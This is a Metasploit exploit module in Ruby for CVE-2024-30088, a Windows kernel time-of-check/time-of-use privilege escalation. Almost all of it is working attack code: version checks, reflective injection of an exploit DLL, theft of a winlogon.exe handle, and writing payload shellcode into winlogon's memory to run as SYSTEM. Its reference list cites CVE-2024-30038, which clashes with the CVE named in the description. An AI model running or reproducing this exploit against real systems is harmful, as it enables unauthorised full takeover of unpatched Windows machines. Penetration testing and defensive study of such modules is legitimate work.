Microsoft Windows TOCTOU Local Privilege Escalation

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  include Msf::Exploit::Local::WindowsKernel  include Msf::Post::File  include Msf::Post::Windows::Priv  include Msf::Post::Windows::Process  include Msf::Post::Windows::ReflectiveDLLInjection  include Msf::Post::Windows::Version  include Msf::Exploit::Retry  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes',        'Description' => %q{          CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,          Windows 11 and Windows Server 2022.          The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when          the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the          kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure          directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and          `AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading          to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.        },        'Author' => [          'tykawaii98', # PoC (Bùi Quang Hiếu)          'jheysel-r7' # msf module        ],        'References' => [          [ 'URL', 'https://github.com/tykawaii98/CVE-2024-30088'],          [ 'CVE', '2024-30038']        ],        'License' => MSF_LICENSE,        'Platform' => 'win',        'Privileged' => true,        'SessionTypes' => [ 'meterpreter' ],        'Arch' => [ ARCH_X64 ],        'Targets' => [          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]        ],        'DisclosureDate' => '2024-06-11',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, ],          'Reliability' => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.        },                                      # After the first run the original session will usually die if the module is rerun against the same session.        'Compat' => {          'Meterpreter' => {            'Commands' => %w[              stdapi_sys_process_get_processes              stdapi_railgun_api              stdapi_sys_process_memory_allocate              stdapi_sys_process_memory_protect              stdapi_sys_process_memory_read              stdapi_sys_process_memory_write            ]          }        }      )     )  end  def target_compatible?(version)    # NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.    return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new('10.0.10240.20680')) ||                   version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new('10.0.14393.7070')) ||                   version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new('10.0.17763.5936')) ||                   version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new('10.0.19044.4529')) ||                   version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new('10.0.19045.4529')) ||                   version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new('10.0.22000.3019')) ||                   version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new('10.0.22621.3737')) ||                   version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new('10.0.22631.3737')) ||                   version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new('10.0.20348.2522')) ||                   version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new('10.0.25398.950'))    false  end  def check    return Exploit::CheckCode::Safe('Non Windows systems are not affected') unless session.platform == 'windows'    version = get_version_info    return Exploit::CheckCode::Appears("Version detected: #{version}") if target_compatible?(version)    CheckCode::Safe("Version detected: #{version}")  end  def get_winlogon_pid    processes = client.sys.process.get_processes    winlogon_pid = nil    processes.each do |process|      if process['name'].downcase == 'winlogon.exe'        winlogon_pid = process['pid']        break      end    end    winlogon_pid  end  def get_winlogon_handle    pid = session.sys.process.getpid    process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)    address = process_handle.memory.allocate(8)    thread = execute_dll(      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'),      address,      pid    )    calls = [      ['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ],      ['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ],    ]    results = session.railgun.multi(calls)    winlogon_handle = nil    if results.last['lpExitCode'] == 0      print_good('The exploit was successful, reading SYSTEM token from memory...')      current_memory = process_handle.memory.read(address, 8)      winlogon_handle = current_memory.unpack('Q<').first    end    session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)    winlogon_handle  end  def exploit    if is_system?      fail_with(Failure::None, 'Session is already elevated')    end    version = get_version_info    unless target_compatible?(version)      fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}")    end    winlogon_handle = get_winlogon_handle    fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon handle') unless winlogon_handle    print_good("Successfully stole winlogon handle: #{winlogon_handle}")    winlogon_pid = get_winlogon_pid    fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon pid') unless winlogon_pid    print_good("Successfully retrieved winlogon pid: #{winlogon_pid}")    host = session.sys.process.new(winlogon_pid, winlogon_handle)    shellcode = payload.encoded    shell_addr = host.memory.allocate(shellcode.length)    host.memory.protect(shell_addr)    if host.memory.write(shell_addr, shellcode) < shellcode.length      fail_with(Failure::UnexpectedReply, 'Failed to write shellcode')    end    vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})")    thread = host.thread.create(shell_addr, 0)    unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)      fail_with(Failure::UnexpectedReply, 'Unable to create thread')    end  endend